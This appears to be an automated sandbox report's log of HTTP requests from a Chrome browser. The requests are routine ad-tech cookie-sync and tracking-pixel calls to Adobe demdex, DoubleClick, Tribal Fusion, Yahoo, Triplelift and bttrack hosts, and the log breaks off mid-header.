Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=6105356000114051776 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=2C598D477EB1601D375398167FD361E9 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=12jw1hmayu6up HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: a.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=VOZ2RlazJkdP4ndHAeFuTAbpJ0ZPt3BIW7VwEFtZ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=6105356000114051776 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=2C598D477EB1601D375398167FD361E9 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=6188F94A79EC0F&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /z/i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: s.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ANON_ID=aInoeUqkaHqByktbZceBx29aTZbD1buJgcxO60AZd8c
Source: global traffic	HTTP traffic detected: GET /dmp/adobe/user?dd_uuid=46356403213087719583427206263392261374 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=163177591737373899600; tluid=163177591737373899600
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=3F3D32EF01F29D83EA32F859490A1B78 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; 